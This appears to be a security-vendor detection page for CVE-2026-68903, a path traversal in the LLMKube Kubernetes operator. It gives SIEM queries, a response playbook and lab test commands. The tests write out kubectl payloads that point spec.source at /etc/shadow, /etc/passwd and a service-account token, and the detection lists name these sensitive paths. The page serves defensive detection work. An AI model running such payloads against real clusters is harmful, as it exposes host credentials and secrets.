Skip to content
CVE-2026-68903

LLMKube hostPath Path Traversal via Model.spec.source (CVE-2026-68903)

Initial Access Discovery Collection Last updated:

Detects exploitation of CVE-2026-68903, an arbitrary host file read vulnerability in LLMKube (github.com/defilantech/llmkube) versions <= 0.8.28. The LLMKube Kubernetes operator fails to validate the Model.spec.source field, allowing an attacker who can create or modify Model custom resources to inject a hostPath (e.g. '../../../../etc/shadow' or absolute paths) that the operator mounts and reads from the host node filesystem. This enables disclosure of sensitive host files such as /etc/shadow, kubelet credentials, service-account tokens and TLS keys. Detection focuses on Model CR creation/modification containing path-traversal or absolute hostPath patterns in spec.source, operator pods reading sensitive host paths, and Kubernetes audit events for llmkube.defilantech.io Model resources. Fixed in v0.9.0 (PR #981, commit ec2647f).

Vulnerability Intelligence

Public PoC

What is CVE-2026-68903 LLMKube hostPath Path Traversal via Model.spec.source (CVE-2026-68903)?

LLMKube hostPath Path Traversal via Model.spec.source (CVE-2026-68903) (CVE-2026-68903) maps to the Initial Access and Discovery and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for LLMKube hostPath Path Traversal via Model.spec.source (CVE-2026-68903), covering the data sources and telemetry it touches: Kubernetes Audit Logs, Azure Monitor / Container Insights. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Discovery Collection
Microsoft Sentinel / Defender
kusto
// df00tech DF00-fcc53d43cb · https://df00tech.com/detections/CVE-2026-68903 · licence: https://df00tech.com/detections/licence
// Detect LLMKube Model CR with path-traversal or absolute hostPath in spec.source (Kubernetes audit logs ingested to Sentinel)
let susp = dynamic(["../", "..\\", "/etc/", "/var/run/secrets", "/root/", "%2e%2e", "file://"]);
KubeAudit_CL
| where ObjectRef_resource_s == "models" or ObjectRef_apiGroup_s has "llmkube.defilantech.io"
| where Verb_s in ("create", "update", "patch")
| extend src = tostring(RequestObject_spec_source_s)
| where isnotempty(src)
| where src startswith "/" or src has_any (susp)
| project TimeGenerated, User_username_s, ObjectRef_namespace_s, ObjectRef_name_s, src, SourceIPs_s, Verb_s
| extend AccountCustomEntity = User_username_s

Flags create/update/patch of LLMKube Model custom resources whose spec.source contains path traversal sequences or absolute host paths pointing at sensitive locations.

high severity medium confidence

Data Sources

Kubernetes Audit Logs Azure Monitor / Container Insights

Required Tables

KubeAudit_CL

False Positives

  • Legitimate administrators configuring models with absolute paths to intentionally shared model directories on the node
  • Testing or CI pipelines that create Model CRs with local filesystem sources in non-production clusters
  • GitOps controllers re-applying Model manifests that legitimately reference host-mounted model caches

Query fingerprint DF00-fcc53d43cb · licence

Sigma logsource & community rules

The detection logic for LLMKube hostPath Path Traversal via Model.spec.source (CVE-2026-68903) (CVE-2026-68903) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Create LLMKube Model CR with path traversal in spec.source

    Expected signal: Kubernetes audit log event with objectRef.resource=models, verb=create, requestObject.spec.source containing '../' sequences.

  2. Test 2 Create LLMKube Model CR with absolute host path to secrets

    Expected signal: Audit event with requestObject.spec.source = '/var/run/secrets/...' for models resource.

  3. Test 3 Patch existing Model CR to inject traversal source

    Expected signal: Audit event with verb=patch/update and requestObject.spec.source containing '../' for the models resource.


Response Playbook

Triage

  1. Retrieve the full Model custom resource (`kubectl get model <name> -n <ns> -o yaml`) and inspect spec.source for traversal sequences (../) or absolute host paths targeting sensitive files (/etc/shadow, /var/run/secrets, kubelet certs).
  2. Identify the user/service account that created or modified the Model CR from the Kubernetes audit log (user.username, sourceIPs) and determine whether that identity is expected to manage Model resources.
  3. Check the LLMKube operator/controller pod logs around the event time for file-read activity or mount operations referencing the suspicious source path.
  4. Confirm the deployed LLMKube version: if <= 0.8.28 the cluster is vulnerable (fixed in v0.9.0).

Containment

  1. Delete or revert the malicious Model CR and cordon affected nodes if host file disclosure is suspected.
  2. Restrict RBAC so only trusted service accounts can create/update llmkube.defilantech.io Model resources, and add an admission policy (OPA/Gatekeeper/Kyverno) rejecting spec.source values containing '..' or leading '/'.
  3. Upgrade LLMKube to v0.9.0 or later which validates spec.source.

Evidence Collection

  1. Export the Kubernetes API server audit logs for all models resource verbs over the exposure window, preserving requestObject.spec.source.
  2. Capture the LLMKube operator pod logs and any filesystem artifacts (read files, temp mounts) from the affected node.

Escalation Criteria

  • ! Escalate to IR if spec.source referenced credential or secret files (/etc/shadow, service-account tokens, TLS keys) and the operator successfully read them.
  • ! Escalate if the creating identity is unexpected or externally sourced, or if multiple nodes/namespaces show the same traversal pattern indicating active exploitation.

Investigation Guide

Forensic Artifacts

  • > Kubernetes API server audit log entries for models resource with requestObject.spec.source
  • > LLMKube operator pod logs and stdout referencing mounted/read source paths
  • > Node filesystem access timestamps (atime) on sensitive files such as /etc/shadow

Tuning Guidance

Baseline the legitimate spec.source values your teams use (typically https:// or s3:// URLs, or a known on-node model-cache directory). Allowlist that known-good absolute path if host-mounted caching is intentional, then alert on any other absolute or '..'-containing source. Combine with RBAC context to prioritize events from identities not expected to manage Model resources.


Hunting Queries

Surface all LLMKube Model CRs whose spec.source uses traversal or absolute paths, grouped by creating identity and namespace, to find exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-fcc53d43cb · https://df00tech.com/detections/CVE-2026-68903 · licence: https://df00tech.com/detections/licence
KubeAudit_CL | where ObjectRef_resource_s == "models" | extend src = tostring(RequestObject_spec_source_s) | where src has ".." or src startswith "/" | summarize count() by User_username_s, src, ObjectRef_namespace_s
Hunting — SPL
spl
``` df00tech DF00-fcc53d43cb · https://df00tech.com/detections/CVE-2026-68903 · licence: https://df00tech.com/detections/licence ```
index=k8s_audit objectRef.resource=models | eval src=coalesce('requestObject.spec.source','responseObject.spec.source') | where match(src,"\.\.") OR match(src,"^/") | stats count by user.username, src, objectRef.namespace

Atomic Red Team Tests

Test 1 Create LLMKube Model CR with path traversal in spec.source
linux

Simulates exploitation by creating a Model custom resource whose spec.source attempts to read /etc/shadow via traversal (lab cluster only).

Command

bash
kubectl apply -f - <<'EOF'
apiVersion: llmkube.defilantech.io/v1alpha1
kind: Model
metadata:
  name: atomic-traversal-test
  namespace: default
spec:
  source: "../../../../../../etc/shadow"
EOF

Cleanup

bash
kubectl delete model atomic-traversal-test -n default --ignore-not-found

Expected Telemetry

Kubernetes audit log event with objectRef.resource=models, verb=create, requestObject.spec.source containing '../' sequences.

Expected Detection

KQL/SPL rule fires on spec.source containing traversal sequence.

Test 2 Create LLMKube Model CR with absolute host path to secrets
linux

Creates a Model CR referencing the absolute kubelet secrets directory to simulate host-credential disclosure (lab only).

Command

bash
kubectl apply -f - <<'EOF'
apiVersion: llmkube.defilantech.io/v1alpha1
kind: Model
metadata:
  name: atomic-abspath-test
  namespace: default
spec:
  source: "/var/run/secrets/kubernetes.io/serviceaccount/token"
EOF

Cleanup

bash
kubectl delete model atomic-abspath-test -n default --ignore-not-found

Expected Telemetry

Audit event with requestObject.spec.source = '/var/run/secrets/...' for models resource.

Expected Detection

Rule matches absolute path starting with '/' against sensitive location pattern.

Test 3 Patch existing Model CR to inject traversal source
linux

Mutates an existing benign Model CR to change spec.source to a traversal payload, testing update/patch verb coverage.

Command

bash
kubectl create model atomic-patch-test -n default --dry-run=client -o yaml > /tmp/m.yaml 2>/dev/null; kubectl apply -f - <<'EOF'
apiVersion: llmkube.defilantech.io/v1alpha1
kind: Model
metadata:
  name: atomic-patch-test
  namespace: default
spec:
  source: "https://example.com/model.gguf"
EOF
kubectl patch model atomic-patch-test -n default --type merge -p '{"spec":{"source":"../../../../etc/passwd"}}'

Cleanup

bash
kubectl delete model atomic-patch-test -n default --ignore-not-found

Expected Telemetry

Audit event with verb=patch/update and requestObject.spec.source containing '../' for the models resource.

Expected Detection

Rule matches on update/patch verb with traversal in spec.source.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections